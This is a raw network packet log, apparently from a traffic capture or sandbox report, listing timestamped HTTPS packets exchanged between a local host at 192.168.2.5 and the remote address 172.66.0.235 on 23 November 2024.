Nov 23, 2024 13:37:42.549438953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.549501896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.549515009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.549562931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.555401087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.555416107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.555469036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.555484056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.555532932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.562314987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.562331915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.562388897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.562405109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.562454939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.568799973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.568819046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.568881989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.568895102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.568922997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.568968058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.575567007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.575587034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.575664997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.575679064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.575728893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.580446005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.580517054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.580518007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.580549002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.580575943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.626741886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.726645947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.726664066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.726761103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.726783991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.726833105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.732657909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.732673883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.732731104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.732748985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.732798100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.739598036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.739612103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.739672899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.739687920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.739737988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.746264935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.746279001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.746335983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.746351004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.746416092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.753271103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.753288984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.753354073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.753367901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.753418922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.759536982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.759552002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.759648085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.759663105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.759721041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.764210939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.765563011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.765578032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.765666962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.765687943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.765746117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.772425890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.772442102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.772533894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.772548914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.772610903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.918574095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.918597937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.918855906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.918883085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.918940067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.925358057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.925376892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.925494909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.925510883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.925561905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.931235075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.931266069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.931401014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.931416035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.931473970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.938157082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.938173056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.938241959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.938256025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.938309908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.944870949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.944888115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.944976091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.944989920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.945040941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.947940111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.948016882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.948029041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.954324961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.954340935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.954405069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.954427958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.954452991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.961359978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.961380959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.961441994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.961460114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.961488008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.967920065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.967935085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.969341993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.969342947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.969361067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.017368078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.098325014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.113698006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.113730907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.113773108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.113811016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.113842010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.113859892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.117183924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.117261887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.117275953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.122869015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.122889042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.122942924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.122962952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.122988939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.129183054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.129204988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.129267931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.129281998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.129309893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.135585070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.135603905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.135643959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.135658026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.135683060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.141582012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.141627073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.141645908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.141659975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.141690969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.147995949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.148032904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.148056984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.148071051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.148102045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.153631926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.153650045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.153693914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.153713942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.153739929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.204864979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.282018900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.302617073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.302633047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.302687883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.302728891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.302747965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.302788019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.302809000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.308954000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.308981895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.309063911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.309079885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.309148073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.315269947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.315289974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.315392971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.315407991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.315464973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.321007013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.321043968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.321086884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.321099997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.321126938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.321150064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.327337980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.327361107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.327425003 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.327439070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.327465057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.327493906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.332273960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.332329988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.332366943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.332377911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.332405090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.337922096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.337943077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.337992907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.338006020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.338036060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.344333887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.344391108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.344403028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.344418049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.344450951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.350702047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.350720882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.350774050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.350788116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.350820065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.392426014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.463390112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.527987003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.528012037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.528090000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.528110981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.528170109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.534158945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.534178972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.534255028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.534270048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.534327984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.537961960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.537981987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.538053036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.538068056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.538124084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.543840885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.543859959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.543911934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.543927908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.543955088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.543993950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.550398111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.550422907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.550512075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.550524950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.550575018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.556253910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.556272984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.556334972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.556363106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.556442976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.562685966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.562705994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.562781096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.562794924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.562861919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.568465948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.568494081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.568556070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.568569899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.568597078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.568615913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.667057037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.672276974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.712795973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.712860107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.719234943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.719255924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.719300032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.719331980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.719362020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.724941969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.724967003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.725008011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.725023985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.725049973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.731292009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.731309891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.731363058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.731384993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.731408119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.737612009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.737636089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.737673998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.737688065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.737714052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.743371010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.743390083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.743438959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.743457079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.743484020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.750052929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.750076056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.750132084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.750144958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.750176907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.755750895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.755770922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.755820036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.755839109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.755862951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.798624039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.859293938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.904863119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.904890060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.905078888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.905095100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.905157089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.911149025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.911170006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.911240101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.911254883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.911279917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.911304951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.917578936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.917599916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.917659044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.917673111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.917742968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.923202991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.923223972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.923269987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.923284054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.923310041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.923346043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.929512978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.929533958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.929586887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.929599047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.929626942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.929646015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.935945034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.935970068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.936029911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.936045885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.936100006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.937318087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.937381983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.940247059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.940320015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.940332890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.940387011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.946556091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.946579933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.946628094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.946640968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.946665049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.946683884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:43.948349953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:43.948421001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.002290010 CET	49704	443	192.168.2.5	172.66.0.235
